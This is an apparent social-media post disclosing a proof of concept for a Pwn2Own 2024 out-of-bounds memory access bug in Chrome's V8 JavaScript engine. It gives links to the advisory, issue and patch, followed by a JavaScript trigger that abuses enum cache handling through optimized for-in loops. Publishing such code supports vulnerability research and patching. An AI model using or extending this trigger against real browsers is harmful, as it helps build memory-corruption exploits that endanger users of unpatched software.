author: @buptsb
2024-04-03 16:06:14
https://x.com/buptsb/status/1775434620554850693
This PoC is the FIRST public disclosure for this vulnerability.
Info
Out of bounds memory access in V8. Reported by Edouard Bochin (@le_douds) and Tao Yan (@ga1ois) of Palo Alto Networks, via Pwn2Own 2024 on 2024-03-22
“earning $42,500 and 9 Master of Pwn points” https://twitter.com/thezdi/status/1770927914831274115
https://chromereleases.googleblog.com/2024/04/stable-channel-update-for-desktop.html
https://issues.chromium.org/issues/330760873
https://chromium-review.googlesource.com/c/v8/v8/+/5388435
Related to CVE-2023-4427 enum cache indices array out of bound access
PoC
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
Object.defineProperty(object3, "d", {writable: false, enumerable: true, value: 1});
// create a split branch in map transition tree
const object4 = {};
object4.a = 1;
object4.b = 1;
object4.c = 1;
object4.d = 1;
for (let key in object3) { }
delete object3.d;
let escape;
function trigger(callback) {
for (let key in object2) {
callback();
escape = object2[key];
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object4.c = 1.1;
for (let key in object1) { }
});
// %SystemBreak();